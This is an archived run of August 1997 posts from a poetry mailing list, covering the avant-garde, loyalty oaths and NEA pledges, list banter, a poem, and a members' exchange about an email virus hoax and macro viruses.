>>>
>>>best,
>>>
>>>joe
>>>
>>>
>
>

↑ Index

311. David Bromige
avant garde (chax)/to swear a mighty oath
Thu 14 Aug 1997

I wouldnt want anyone judging my poetry who hadnt ever speculated about the similarities among drag, draw, drawl, crawl and trawl. There needs to be an exam these persons must take & pass before they can judge poetry. You dont get to be a judge at a musical recital w/o knowing about chords keys modulation pace pitch or at least playing scales. But people think (?) because language "comes right out of them" thats all it takes to know poetry. But they dont think an ability to recognize a fart qualifies them to judge music. Just because i can differentiate (with difficulty, I admit) among singles, fives, tens and twenties, doesnt make me a financial adviser. Its hard enough to find a jury of one's peers (due to the balkanization of american poetry) : a jury of the frost-bitten or the sandburged is intolerable. How has this been allowed to come about? Its like, the less you know, the less prejudiced you will be. I think _I_ should administer the Pentagon black budget. AAggghh.

Likewise, how can persons less sensitive to the ramifications of a word, have the right to make you swear to be loyal to the state? They cant hear the nuances, present & potential, of those words. To them it means something between love your mother & dont make waves. Or put your head in this trap. They dont hear the history singing in it, they dont see the stupidity lying in wait within it. Noone should draw up a loyalty oath who hasnt written essays on the words loyalty and oath, and those essays awarded A's by a panel of linguists, poets & political scientists of all stripes. When the pretense of equality reigns, stupidity is enthroned. Stupid people have a right to live, thats what civilization

must mean, but the tonedeaf shouldnt be sitting in judgement on child prodigies. Existence makes the law an ass. Noone should be allowed to flush a toilet who hasnt cleaned an outhouse. Who hasnt gone a day without water in the desert. Who hasnt dug a well all morning long, until the drops of dew disappear from the desert rose and reappear on his forehead. Noone should be permitted to judge a poetry contest who fails to diagram that last sentence. Who is custodiating the custodians? Who has to clean up after the janitors? I have nothing against the demotic--just give me a break. Cut me sone slack, here. How did everything get turned ass-backwards? Why are these drooling nonentities ruling our minds? And when are we going to send the marines to switzerland and reclaim the savings & loan money that belongs to you & me --$20 grand per person? Dont get me started. David

↑ Index

312. Layne Russell

poem

Thu 14 Aug 1997

This poem is written in 7 stanzas of 3 lines each. Email will show it with wrapped lines because the lines are long. Please imagine the lines in their full extension. Thanks!

Layne
----------***

Sushila's shawl

dear Sushila your shawl how you gave it to me how I wore it December in Bombay December in south India how you wrapped me in the spring peach shawl a cotton so fine falling like water in the sun

how we met by the temple of Hanuman and you gave me saris white and blue the handsewn white petticoat your white laughter and dark eyes your stories of the great one in a village of south India

in the hanging gardens by the Arabian Sea how you told me secrets
whispers on a wood bench splashes on dark rocks
full Indian moon falling like water down warm slopes of Bombay night

how I listened to every word to every pause to the light in your hands and eyes to the movement of the shawl the movement of my breathing and yours the movement of the water below and our feet on the stones

how I still have the shawl oh how I still have it how I took it to south India
laid it out on the hill above the village that night after seeing the

great one
how I sat under the moon slept there woke in deep Christmas night

how no one understood the shawl the hill the moon or my going but you did
Sushila back in the city you took me in and your father gave me his bed his
place on the screened porch above Bombay streets with the shining black birds

how I stayed with you till it was time to go how I fit it all into my
pack
the saris the petticoat the books the little buddha the stories the moon
and the shawl
falling like water in the sun Sushila like water in the spring peach sun

© August 1997 llrussell

↑ Index

313. henry gould
Re: avant-garde
Thu 14 Aug 1997

let me revise my previous statements. in our society the power to shock is both still around AND co-opted. Witness the attacks on arts organizations around the country by fundamentalist groups. In a sense these political organizations "co-opt" scandal by incorporating it into political power strategies of name-calling & scapegoating. At the other extreme, corporations co-opt scandal (or sexuality) & use it to sell products.

let me repeat, in my lexicon avant-garde = handmade. I view art as manual labor, blue-collar work, also cottage industry, self-employment. Necessarily local though not necessarily parochial (in fact ultimately cosmopolitan in a rooted sense).

homemade space is space made home. this is dangerous talk for blind corporations, parasite institutions & old boy's clubs. Imagine community empowerment reining in corporate power. Oral history poetry theater. "Bring back New Bedford fishing." Hey, there goes Maximus... - Henry Gould

↑ Index

314. Sylvester Pollet
Foucault/heterotopia
Thu 14 Aug 1997

I asked a friend for that citation, and here's the reply:
>
>Here's a response from a UTOPIA-L poster to your forwarded query about

>Foucault and heterotopia, in case nobody has yet answered it:
>
>Date: Wed, 13 Aug 1997 10:57:06 -0400
>From: Andy Wood [redacted] <[redacted]>
>Subject: Re: foucault query again
>
>A translation of Foucault's discussion of heterotopia may be found in
>
>Foucault, M. (1986). Of other spaces. Diacretics, 16, 22-27.
>
>Also, Edward Soja has done some wonderful work on heterotopia. See,
>for example:
>
>Soja, E.W. (1996). Thirdspace: journeys to Los Angeles and other
>real-and-imagined places. Cambridge, MA: Blackwell.
>
>I hope this helps!
>
>Andy Wood
>Center for Utopian Studies
>http://oak.cats.ohiou.edu/~aw148888/

↑ Index

315. KENT JOHNSON

Re: carelessness on my part imperialist bow wow avant ga-ga's

Thu 14 Aug 1997

On 13 August, David Bromige wrote:
> when kent told me he'd been abducted by space aliens, i knew he was only
> kidding.

David:
Kidding only until last night, when something truly remarkable
happened to me. I will explain later.
Kent

↑ Index

316. **KENT JOHNSON**
oh god
Thu 14 Aug 1997

---

oh god, I meant to send that last message to David Bromige back channel!
Kent

↑ Index

317. **KENT JOHNSON**
anyone?
Thu 14 Aug 1997

Does anyone know anything about the following address on the web? "Writing the Speculative: A Symposium on Poetry and Knowledge" (May 3, 1997, Stanford University) http://shc.stanford.edu/shc/poetry.knowledge.html

It comes up under a key search, but when I try to go in, I get "Error: 404. File not found. Check the URL you are using."

Any info anyone could provide on this interesting-sounding site? Thanks, Kent

↑ Index

318. **dbkk**
Re: avant garde (chax)/to swear a mighty oath
Thu 14 Aug 1997

> *I wouldnt want anyone judging my poetry who hadnt ever speculated about the similarities among drag, draw, drawl, crawl and trawl. There needs to be an exam these persons must take & pass before they can judge poetry. You dont get to be a judge at a musical recital w/o knowing about chords keys modulation pace pitch or at least playing scales. But people think (?) because language "comes right out of them" thats all it takes to know poetry. But they dont think an ability to recognize a fart qualifies them to judge music. Just because i can differentiate (with difficulty, I admit) among singles, fives, tens and twenties, doesnt make me a financial adviser. Its hard enough to find a jury of one's peers (due to the balkanization of american poetry) : a jury of the frost-bitten or the sandburged is intolerable. How has this been allowed to come about? Its like, the less you know, the less prejudiced you will be. I think _I_ should administer the Pentagon black budget. AAggghh.*

Yes, yes, yes!

Dodie

↑ Index

319. Joseph Lease
Re: "avantgarde"
Thu 14 Aug 1997

I agree absolutely with the point in favor of the Talisman Boston section--wonderfully generative work!!!

Joseph Lease

↑ Index

320. charles alexander
Re: anyone?
Thu 14 Aug 1997

Kent,

Try
http://shc.stanford.edu/shc/1996-1997/96-97events/poetry.knowledge.html

But this just gives a schedule. I'm not sure it tells you much about what the symposium was like. Perhaps Hank Lazer or Marjorie Perloff (are you two still on this poetics list?) will fill us in.

charles

At 11:18 AM 8/14/97 -0500, you wrote:
>Does anyone know anything about the following address on the web?
>"Writing the Speculative: A Symposium on Poetry and Knowledge" (May
>3, 1997, Stanford University)
> http://shc.stanford.edu/shc/poetry.knowledge.html
>
>It comes up under a key search, but when I try to go in, I get
>"Error: 404. File not found. Check the URL you are using."
>
>Any info anyone could provide on this interesting-sounding site?
>Thanks, Kent
>
>

↑ Index

321. Thomas Bell
Re: avant academe
Thu 14 Aug 1997

this horse has probably been well beaten here but i'll add my bit anyway. i think the phenomena is similiar to that seen with respect to liberal (discussed on this

list earlier this year). They both have become so entangled in the popular press that they have been turned into pejorative mudslinging terms that have little relation to the original sense of the terms. In turn, their adherents become more so ('liberal'->radical or 'avant-gardeish') and the spiral continues. am i making sense? is there a term for this cultural phenomenon?

moved to post this from a sunny rural spot with the kids back in school in rural TN after hearing last night of the reaffirmation of the KKK here and knowing i will soon hear from my pre-adolescents "You can't make me, you old liberal avant-garde _____, you." tom bell

At 08:50 AM 8/13/97 -0400, Mark Prejsnar wrote:
>>
>> A couple of points, however. There is a tendency to think of academy as
>> institution (correct) and avant garde as... anarchy/utopia/individualism/?
>> Just a tendency, mind you. And this leads you to formulate a picture of
>> unestablished avantgardists pointing envy (or whatever) at established
>> avantgardists because of their position *in the academy* -- i.e. in another
>> institution.
>>
>> No this is intra-institutional politics. The avantgarde (non-mainstream
>> poetry, cosa nostra -- call it what you want) is an institution, and
>> position in it is critical to and at stake for all those committed to the
>> institution.
>>
>Tom--
>This is interesting, vis-a-vis several of my previous points; first off,
>it reiterates that interesting spatial image of "avant-garde" as a
>relatively static zone, rather than an advancing attack...Thus showing
>again how most of us have toned-down the original feel of "avant-garde"...
>
>But more peculiar and fascinating is the claim that "a-g" is an
>institution...I think it is probably more a series of fragmentary zones of
>activity...
>
>In other words, it's important to be clear whether we're talking about a
>sociological phenomenon, an identifiable social grouping we can study (as
>in your post) or a series of esthetic engagements and projects. In the
>former sense, both "workshop poetry" and non-mainstream writing are of
>course institutional matrices, with magazines, imprints, sources of
>funding; there is of course a huge disparity in available resources, and
>one is closer to the basic economic life of things, can provide more jobs,
>etc.--is linked as it were to *other* institutions, that provide a support

>structure. But in the latter sense of these terms, neither a workshop
>poet nor an "experimental" (hate that word) poet, is necessarily absorbed
>by an "institution." I've known (indeed know) practitioners of both
>approaches, who for various reasons are marginal to or outside the
>institutional frameworks--whether APR/university or Sun and
>Moon/Naropa--and in this sense, there is not a single
>economicosociological network, that automatically encompasses everything
>written in a given style or tendency.
>
>Also, the emphasis on "envy" etc. is interesting (like the original
>phrasing of this thread in terms of "policing")...Some of the most
>remarkable writers I know seem to have very little concern with shoving
>and scuffling for position; their concern with the activity and the work,
>and relative lack of concern with rewards and ego, can be quite
>striking...
>
>mark p.
>atlanta
>
>

↑ Index

322. **David Bromige**
mudslinging at the avant garde
Thu 14 Aug 1997

Thomas Bell's post this a.m. concerning the mudslinging one experiences if identifianly avant garde reminds me of a term that came to us in conversation earlier this week, "us" being me, Dan Featherston and his fiancee Melia : we are the mudguards. Lets add, The mudguards on the auto of art.

One more frivolous suggestion from the Despair Laboratories. David

↑ Index

323. **shemurph**
Address request - KOJA
Thu 14 Aug 1997

Would someone mind backchanneling the address for KOJA? I seem to have misplaced it, and need it.

Thanks.

Sheila Murphy
[redacted]

↑ Index

324. **Maria Damon**
query
Thu 14 Aug 1997

---

does anyone know the year in which diacritics vol 21 came out? thanks --md

↑ Index

325. **KENT JOHNSON**
the light
Thu 14 Aug 1997

On 13 August, David Bromige wrote:
>when kent told me he'd been abducted by space aliens, i knew he was
>only kidding.

David:
Kidding only until last night, when something truly remarkable
happened to me. I will explain later.
Kent

↑ Index

326. **Layne Russell**
Re: penpal greetings
Thu 14 Aug 1997

---

charles alexander wrote:
>
> At 06:31 PM 8/14/97 -0700, you wrote:
> >At last, we concocted a way to get Bromige to pipe down.
>
> and George to pipe up
>
> Is it possible that Pan has split into two persons,
>
> these being bowerige and broming?
>
> charles

LOL

layne

↑ Index

327. David Bromige
dangerous virus
Thu 14 Aug 1997

Listlings, I just rec'd a fwd from one on the britpoetlist : do not download any message headed PENPAL GREETINGS. It contains a virus that can destroy your HD. It can also be communicated to every e-ddress in yr mailbox.

I have no way to know whether this be hoax or truth. My corrspondent who fwded this is unimpeachable, dont get me wrong, but he was only passing the wArning along.

I'm going to log off until i hear (via the media, I guess) better news. Anyone needing to reach me, can do so at [redacted]. Leastwise, I will log off if someone will post me the directions for doing so.

Thanks, David

↑ Index

328. Alan Jen Sondheim
Re: dangerous virus
Thu 14 Aug 1997

Again, the story is this. You can't get a virus from email. You can get a virus from downloading things like the freeaol, but you shouldn't do that. If you get a Word Perfect or Word document, you might have macros embedded in it that can cause problems.

Ordinary email has no problems at all. At one point, there were things called ASCII-bombs, or email-bombs, but those holes have been filled years ago.

You can send out an email message with escape codes that can change the color of the type, and even create invisible type. If someone sends you a message with an invisible type commmand, you might find your inbox appearing oddly empty. But there's no damage at all when this happens; the mail's still there and readable.

And that is about it. By the way, there's a minor sub-sub-field called I believe steganography which is all about embedding secret texts in .gif or .jpg files.

Alan

↑ Index

329. Rachel Loden
the waltz of the arts-bureaucrats
Thu 14 Aug 1997

David Bromige wrote (in part):

> *When the pretense of equality reigns, stupidity is enthroned.*

David, the Finns have a phrase I like: "Stupidity thickens in a crowd."

Rachel Loden

↑ Index

330. George Bowering
Re: the light
Thu 14 Aug 1997

> *On 13 August, David Bromige wrote:*
> *when kent told me he'd been abducted by space aliens, i knew he was only kidding.*
>
> *David:*
> *Kidding only until last night, when something truly remarkable happened to me. I will explain later.*
> *Kent*

It wasnt all that remarkable. I've done it to dozens of academics and poets and minor league baseball players.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

331. George Bowering
Re: penpal greetings
Thu 14 Aug 1997

At last, we concocted a way to get Bromige to pipe down.

George Bowering.

,

2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

332. Rachel Loden
the light and the stars
Thu 14 Aug 1997

George Bowering wrote:
>
> >On 13 August, David Bromige wrote:
> >>when kent told me he'd been abducted by space aliens, i knew he was
> >>only kidding.
> >
> >David:
> >Kidding only until last night, when something truly remarkable
> >happened to me. I will explain later.
> >Kent
>
> It wasnt all that remarkable. I've done it to dozens of academics and poets
> and minor league baseball players.

But only minor league baseball players, you notice. He lets the major league players do it to h i m.

Rachel Loden

↑ Index

333. charles alexander
Re: the light
Thu 14 Aug 1997

There have been lots of sightings in Arizona
and rumor has it that George Bowering comes here once in a while

and as far as I know, George is just a rumor

possibly encased in light

charles

↑ Index

334. charles alexander
Re: penpal greetings
Thu 14 Aug 1997

At 06:31 PM 8/14/97 -0700, you wrote:
>At last, we concocted a way to get Bromige to pipe down.

and George to pipe up

Is it possible that Pan has split into two persons,

these being bowerige and broming?

charles

↑ Index

335. George Bowering
Re: the light
Thu 14 Aug 1997

> *There have been lots of sightings in Arizona*
> *and rumor has it that George Bowering comes here once in a while*
>
> *and as far as I know, George is just a rumor*
>
> *possibly encased in light*
>
> *charles*

Matter of fact, I was in Phoenix toward the end of spring training. I like Tucson very much, and am sorry I havent been there for about 10 years.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

336. George Bowering
Re: penpal greetings
Thu 14 Aug 1997

> *At 06:31 PM 8/14/97 -0700, you wrote:*
> *At last, we concocted a way to get Bromige to pipe down.*

> *and George to pipe up*
>
> *Is it possible that Pan has split into two persons,*
>
> *these being bowerige and broming?*
>
> *charles*

Dang, they found us (I mean me) out! But this just means that I claim co-authorship of all those "Other people's" poems that Bromige owned up to.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

337. George Bowering
Re: the light and the stars
Thu 14 Aug 1997

> *George Bowering wrote:*
>
> *On 13 August, David Bromige wrote:*
> *when kent told me he'd been abducted by space aliens, i knew he was only kidding.*
>
> *David:*
> *Kidding only until last night, when something truly remarkable happened to me. I will explain later.*
> *Kent*
>
> *It wasnt all that remarkable. I've done it to dozens of academics and poets and minor league baseball players.*
>
> *But only minor league baseball players, you notice. He lets the major league players do it to h i m.*
>
> *Rachel Loden*

Only National League West and some National League Central players. Jeez, I got standards.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

338. KENT JOHNSON
dead oath
Fri 15 Aug 1997

On 12 August, Pete Landers wrote, referring back to the loyalty thread and in reference to me:
> Isn't this the same clear thinker who says taking an oath to defend the
> Constitution means turning in my colleagues if they speak out against a
> gov't that suspends the Constitution?

Well, I never did "say" such a thing, but hurrah for Weiss and Bromige on this issue. And not to beat a dead oath, but I do feel there's something more worth saying here: No Constitutional scholar me, but Article I, Section 9 of the Constitution states that in cases of "rebellion," where the "public safety may require it," that the writ of habeas corpus may be suspended (which would effectively amount, of course, to cancelling any guarantees of freedom of speech, press, association, etc. that the Constitution enshrines). Thus we have a paradox, which Pete, so far as I can tell, doesn't quite see, because he is adamant about only reading "the words" of his oath "as they are" and not thinking about the implications of those words in differing contexts. In other words, suspension of the Constitutional liberties that Pete rightly holds so dear need not be Constitutionally construed under certain extraordinary circumstances (a Civil War, for example, or a "rebellious" challenge to the rule of capital) as at all "unconstitutional." Thus, loyalty oaths that call on one to pledge allegiance to the Constitution against domestic and other enemies do not *necessarily* mean that one is pledging unqualified allegiance to freedom of speech and of the press. "These may need to be," the Chairman of the Joint Chiefs of Staff says to USA Today in 2027, "sacrificed under Constitutional law for an expedient time in order to save the future of the Constitution." Sort of like the dictatorship of the proletariat, when you think about it, to ensure the future of the greatest democracy of all, communism. Anyway, this is the unacknowledged potential contradiction I was trying to point out to Pete with my revolutionary fantasy post, written in a fit of syndicalist rapture and breathlessly, with not a single comma. Maybe it was the lack of punctuation that angered Pete so much and prompted him to

start calling me a whatchamacallit. But I asked the questions I asked because there were assumptions in Pete's first reply to Charles Alexander that I found self-satisfied and simplistic. Pete accuses me of illogic for asking what I asked; but I was actually trying to point out (in my own idiosyncratic way) that ideology sometimes reveals itself as most insidious inside the plain words that seem most logical. That's an old one, but none of us can remind ourselves of it too often. Kent

↑ Index

339. **henry gould**
Re: dead oath
Fri 15 Aug 1997

On Thu, 14 Aug 1997 23:01:24 -0500 KENT JOHNSON said:
> Pete accuses me of illogic for asking what I asked; but I was
>actually trying to point out (in my own idiosyncratic way) that
>ideology sometimes reveals itself as most insidious inside the plain
>words that seem most logical. That's an old one, but none of us can
>remind ourselves of it too often.

Mikhail Epstein has an interesting chapter in AFTER THE FUTURE on the structure of ideological logic, or ideo-logic as he calls it. It's basically a win-win kind of power speech which Machiavellian-like (& Orwell-like) plays off extreme positions against each other and equates opposites, i.e.:

freedom - slavery
discipline - anarchy

Soviet communism would support socialist freedom over capitalist slavery but proclaim socialist discipline against multi-party anarchy. This is one of the most basic "tetrads" which makes the Party master of the ideological language field. (Epstein, following many others, defines ideological language as words which are inherently value-laden used without explanation or proof [my own paraphrase here]). The tetrads get much more subtle and complicated.

I think the point Pete was emphasizing is that when faced by such a coercive thing as an oath, we still have a choice. It seems to me (based on my own reaction & on several initial responses to Charles' first message) that our FIRST reaction is, this is a case of repressive government intrusion. What I found "astonishing" about Pete's response is that he opened up another dimension to this situation - that is, we might actually support the Constitution to the point of signing an oath to that effect. This does not really occur to us when we take individual liberties for granted and regard ALL government as an intrusion on the latter. This attitude, paradoxically, is just as much a prelude to tyranny as mindless loyalty. Pete's suggestion that we read what we're asked to sign onto

is a reminder that we are part of "da system", whatever form it takes, & we bear some responsibility for the form it does take. - Henry Gould

↑ Index

340. **Gwyn McVay**
DJ Renegade
Fri 15 Aug 1997

Just to add briefly--people have been interested in DJ Renegade, a/k/a Joel Dias-Porter--

Working with Kenny Carroll, he was one of the pioneering members of DC's WritersCorps program, the only arts-related program of Americorps, which put teachers of creative writing into DC schools, St. Elizabeth's, several homeless shelters, and other places in need of "what is found there." DJ helped put together an anthology of writings from the kids in the schools where he taught. By all accounts, he enjoyed the hell out of it and so did the kids.

I always thought Renegade would be an interesting person to design a font for--something Bodoni-ish to start with, with the extreme stroke-weight contrast, tall and a bit skinny (per the original), but with a rather '70s roundness to the serifs and just enough trendy edge fragmentation to have that urban look.

Gwyn

↑ Index

341. **Maria Damon**
Re: DJ Renegade
Fri 15 Aug 1997

---

how does one get in touch w/ dj renegade?
what is the name, publisher etc of his anthology w/ kids?
thanks gwyn & others--
maria d

At 8:18 AM -0400 8/15/97, Gwyn McVay wrote:
>Just to add briefly--people have been interested in DJ Renegade, a/k/a
>Joel Dias-Porter--
>
>Working with Kenny Carroll, he was one of the pioneering members of DC's
>WritersCorps program, the only arts-related program of Americorps, which
>put teachers of creative writing into DC schools, St. Elizabeth's, several
>homeless shelters, and other places in need of "what is found there." DJ
>helped put together an anthology of writings from the kids in the schools
>where he taught. By all accounts, he enjoyed the hell out of it and so did

>the kids.
>
>I always thought Renegade would be an interesting person to design a font
>for--something Bodoni-ish to start with, with the extreme stroke-weight
>contrast, tall and a bit skinny (per the original), but with a rather '70s
>roundness to the serifs and just enough trendy edge fragmentation to have
>that urban look.
>
>Gwyn

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342. **Judy Roitman**

Re: dangerous virus

Fri 15 Aug 1997

> *Listlings, I just rec'd a fwd from one on the britpoetlist : do not download any message headed PENPAL GREETINGS. It contains a virus that can destroy your HD. It can also be communicated to every e-ddress in yr mailbox.*
>
> *I have no way to know whether this be hoax or truth. My corrspondent who fwded this is unimpeachable, dont get me wrong, but he was only passing the wArning along.*
>
> *I'm going to log off until i hear (via the media, I guess) better news. Anyone needing to reach me, can do so at [redacted]. Leastwise, I will log off if someone will post me the directions for doing so.*
>
> *Thanks, David*

Don't log off. You can't pick up a virus through e-mail. You can pick up a virus through opening an attachment sent through e-mail, but that is a very different sort of animal.

P.S. Will you let me know if you get this? Otherwise I'll have to call...

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996
---------- Note new area code
---
http://titania.math.ukans.edu/faculty/roitman/

↑ Index

343. Peter Landers
Re: dead oath
Fri 15 Aug 1997

yeah yeah. I might have read too sensitively. what was a question "what would you do" I probably took as an implication that I would choose the obviously ignoble option. I see it was just polemical falderal.

hg, yes, but i'd have used first person singular because I know it's an individual choice.

fwiw, writ of h.c. says they have to tell you why they stuck you in jail. also, fwiw, the whole doc is amendable.

and as i say, it is/was a personal choice. i am not a patriot, per se, but i'm damn glad TJ was there many years ago to balance the power freaks against each other and i choose to defend that.

but why so serious?

Pete

↑ Index

344. J. Tate
forget new criticism, here's the new poetry! (fwd)
Fri 15 Aug 1997

List members may have already heard of this, if so, apologies.

Joseph Tate
University of Washington, Seattle

Reuters New Media

Thursday August 14 4:12 AM EDT

Poet Ruffles Feathers In Scotland With Record, MTV Deals

By Jill Serjeant

EDINBURGH, Aug 14 (Reuter) - With his long dark curly hair and frock coats, he looks like Britain's 19th century romantic poet Lord Byron.

But that's about as far as the comparison goes for 28-year-old Murray Lachlan Young, a previously unpublished bard whose snappy verses about sex, drugs, and rock and roll are set to make him a millionaire.

Young, an American-born Scot with a flair for the melodramatic, has taken the elitist world of poetry by storm by winning a $1.6 million deal with EMI Records and a $395,000 contract with MTV.

The deals are unheard of in the world of British literature, where poets are still thought of as living in garrets, scraping a living from a lonely trade conjuring up pictures in the mind.

Young, however, is one of the new breed of "performance poets," who declaims his contemporary verse to the sounds of a solo cello, seaside music or rock groups.

EMI says it has never signed a poet before, but hopes Young's album "Vice and Verse" will sell about one million copies.

"Taking on a new young artist is always a risk but we think he is a brilliant poet, a brilliant performer and very, very funny," said Tony Harlow, EMI marketing director.

"He's three-dimensional. We could have sold him as a performer, as a stand-up comic or as a poet," Harlow said.

Young's subject matter is perfectly attuned to the 1990s. One verse is about the Rolling Stones, another titled "Casual Sex," and in "Simply Everyone's Taking Cocaine" he satirises high society drugs culture.

"Well I saw Aunt Milly in last season's clothes,

She said car, house and yacht had gone straight up her nose.....

Simply everyone's taking cocaine."

He anounces his "MTV collection" of short verses aimed at the youth market as "no longer than 30 seconds, with no big words."

APPEARANCE AT EDINBURGH FRINGE

Staged to dramatic lighting and sound effects from a cello, Young is going down well with audiences at the Edinburgh Festival Fringe before he embarks on a series of "performance tours" in Britain and the United States.

Fellow poets and some critics have not been so kind.

The Financial Times called his work "puerile." Guardian newspaper critic Dan Glaister said his poetry failed to challenge the mind.

"It is comforting, reaffirming stuff but there are no broader truths lurking beneath the whimsy," wrote Glaister.

Established poets are skeptical, if not jealous, of the hype that has propelled Young to the front pages of newspapers and magazines.

"For a new poet to land deals like this is unheard of. Much of it may be to do with marketing and hype and my instinct is to disapprove of the whole thing," said Peter Thorpe editor of the Poetry Review.

Young, in performance as passionate and brooding as any self-respecting romantic poet should be, rejects the notion that he is all hype.

"I'm trying to get an audience for poetry," he said. "Too often people who write poetry seem like they are divulging some terrible secret or slipping you something when you are depressed.

"If you can show people interesting poems performed in a dynamic way then they might move on to Blake," Young said.

But he is keenly aware of the pitfalls ahead of him. In a satirical poem written a year ago about another of Britain's much talked about artists -- Damien Hirst of dead sheep in glass boxes fame -- Young may unwittingly have written his own epitaph.

"Whatever you do, whatever you are,

Make sure that you never, never, never believe in your own PR."

copyright Reuters Limited

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345. Tom Mandel
advancing attack?
Fri 15 Aug 1997

---

was the "original feel of 'avant garde'" that of an "advancing attack" as Mark P. seems to be saying?

I *think* that militarily the avant garde would rather be scouts, or even spies, rather than any kind of attack. Scouts checking out undiscovered territory or spies sent into an alien camp.

More appealing ideas than that of being cannon fodder. Or, as I so often hear in the high tech industries, "a pioneer is a guy (sic. -- usually) with an arrow in his back."

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]

****
Join the Caucus Conversation

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346. **Tom Mandel**
email viri
Fri 15 Aug 1997

---

a virus in an email message is a persistant myth. *Not* possible. Please lets not discuss here what's been debunked and blah-ed to death worldwide for half a decade.

It is a sticky one, tho. I got an email message this spring from Harry Mathews warning me that email with the subject "Good News" contained a virus. That exact suggestion has come to me repeatedly over 3-4 years, like a chain letter through my brain matter. I guess the repetition is the virus.

Tom
Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****
Join the Caucus Conversation

↑ Index

347. **Alan Jen Sondheim**
Re: email viri
Fri 15 Aug 1997

As you know, I posted the same conclusion, but ComputerWorld this week discusses bugs in some email software, vis-a-vis IMAP and POP - this doesn't affect your mail as far as I can tell, but does affect your mailserver.

The CERT advisory (computer emergency response team) is at:
ftp://info.cert.org/pub/cert_advisories/CA-97.09.imap_pop

Alan

On Fri, 15 Aug 1997, Tom Mandel wrote:

> a virus in an email message is a persistant myth. *Not* possible. Please
> lets not discuss here what's been debunked and blah-ed to death worldwide
> for half a decade.

>
/snip/

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348. **Pam Brown**
Re: email viri
Fri 15 Aug 1997

Well if it's so impossible how come my mac got infected with a macro virus from an email attachment from someone in Brunei ? And, as a result, had to have its entire operating system rebuilt ???
I wonder....
Pam Brown
At 04:42 PM 15/8/97 -0400, you wrote:
>As you know, I posted the same conclusion, but ComputerWorld this week
>discusses bugs in some email software, vis-a-vis IMAP and POP - this
>doesn't affect your mail as far as I can tell, but does affect your
>mailserver.
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>The CERT advisory (computer emergency response team) is at:
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>
>Alan
>
>On Fri, 15 Aug 1997, Tom Mandel wrote:
>
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>> lets not discuss here what's been debunked and blah-ed to death worldwide
>> for half a decade.
>>
>/snip/
>
>

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349. **KENT JOHNSON**
dead oath drugs
Fri 15 Aug 1997

I just received an e-mail from Eliot Weinberger, and he tells me that during the Reagan days NEA recipients had to sign two oaths: allegiance not to produce pornography or insult any (any) religion and then also a separate promise not to

take any drugs. Anybody out there asked to sign one of these? I've never even applied for an NEA, but if the above is the case, it makes the Constitutional loyalty oath we've been talking about look pretty innocuous! Weinbeger says *everyone* except two or three poets he knows who got a grant in those eight years signed?

I don't know, if I'd gotten one of these, I may have well signed on myself, hypocrite that I am, but holy cow, all of a sudden Pete Landers looks like Bakunin. Kent

↑ Index

350. KENT JOHNSON
encased in light
Fri 15 Aug 1997

I just wanted to say that I put in a little post last night and it didn't go through. It was in response to Charles Alexander's stunning image of George Bowering encased in light. I said in that post that this was one of the most beautiful images I had ever laid eyes upon, whatever that means. I just wanted for the record to say this again. And also to say to George that I actually played minor league ball too, though it was football--semi-pro, about $100 per game back in the early 80's for the Waukesha Hawks. Does that count? Kent

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351. Charles Bernstein
BERNADETTE MAYER (fwd)
Fri 15 Aug 1997

---------- Forwarded message ----------
Date: Fri, 15 Aug 1997 13:04:13, -0500
From: POET PHILIP S GOOD <[redacted]>

The Bernadette Mayer Fund- Bernadette Mayer will write a poem, prose piece, letter, or other work to your specification in exchange for a contrubution to the fund. Please send the specifications for the poems to Bernadette Mayer at 4079 Country Rt 9, East Chatham, N.Y. 12060 (or E-Mail it to [redacted])

Send the tax deductible contribution checks payable to: Giorno Poetry Systems/The Bernadette Mayer Fund. Giorno Poetry Systems, 222 Bowery, New York, N.Y. 10012

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352. **David Bromige**
encased in light
Fri 15 Aug 1997

I want to say that I have often seen George Bowering encased in light. Molson's Light. And Boy, does he ever get encased! DB

↑ Index

353. **Alan Jen Sondheim**
Re: email viri
Fri 15 Aug 1997

As I said, macro viruses are possible with Word Perfect and Word documents; they don't come through standard ascii email. An attachment is binary, 8-bit, not what's called lower ascii, 7 bit.

Alan

On Sat, 16 Aug 1997, Pam Brown wrote:

> *Well if it's so impossible how come my mac got infected with a macro virus from an email attachment from someone in Brunei ? And, as a result, had to have its entire operating system rebuilt ???*
> *I wonder....*
> *Pam Brown*
> *At 04:42 PM 15/8/97 -0400, you wrote:*
> *As you know, I posted the same conclusion, but ComputerWorld this week discusses bugs in some email software, vis-a-vis IMAP and POP - this doesn't affect your mail as far as I can tell, but does affect your mailserver.*
>
> *The CERT advisory (computer emergency response team) is at:*
> *ftp://info.cert.org/pub/cert_advisories/CA-97.09.imap_pop*
>
> *Alan*
>
> *On Fri, 15 Aug 1997, Tom Mandel wrote:*
>
> *a virus in an email message is a persistant myth. *Not* possible. Please lets not discuss here what's been debunked and blah-ed to death worldwide for half a decade.*
>
> */snip/*

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354. **Pam Brown**
Tiresome viri
Fri 15 Aug 1997

Thanks, Alan,for that information. I must have missed it earlier....and although I'm not a computer enthusiast - just a user - and don't really know what you mean I'm sure it's correct.... Pam

↑ Index

355. **KENT JOHNSON**
asteroid to hit earth
Fri 15 Aug 1997

In my post referring to Eliot Weinberger's statement that only "two or three poets" had refused to sign the terrible NEA pledge during the Reagan years: I apparently got it wrong. The two or three people who refused to sign during these years (the texts of the gov't pledges are contained in EW's _Outside Stories_, pages 124-25) were not poets but artists of other kinds. According to Weinberger, _all_ poets signed.

Now doesn't that make you feel like standing up and saluting the
flag?
Kent

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356. **Thomas Bell**
Re: advancing attack?
Sat 16 Aug 1997

---

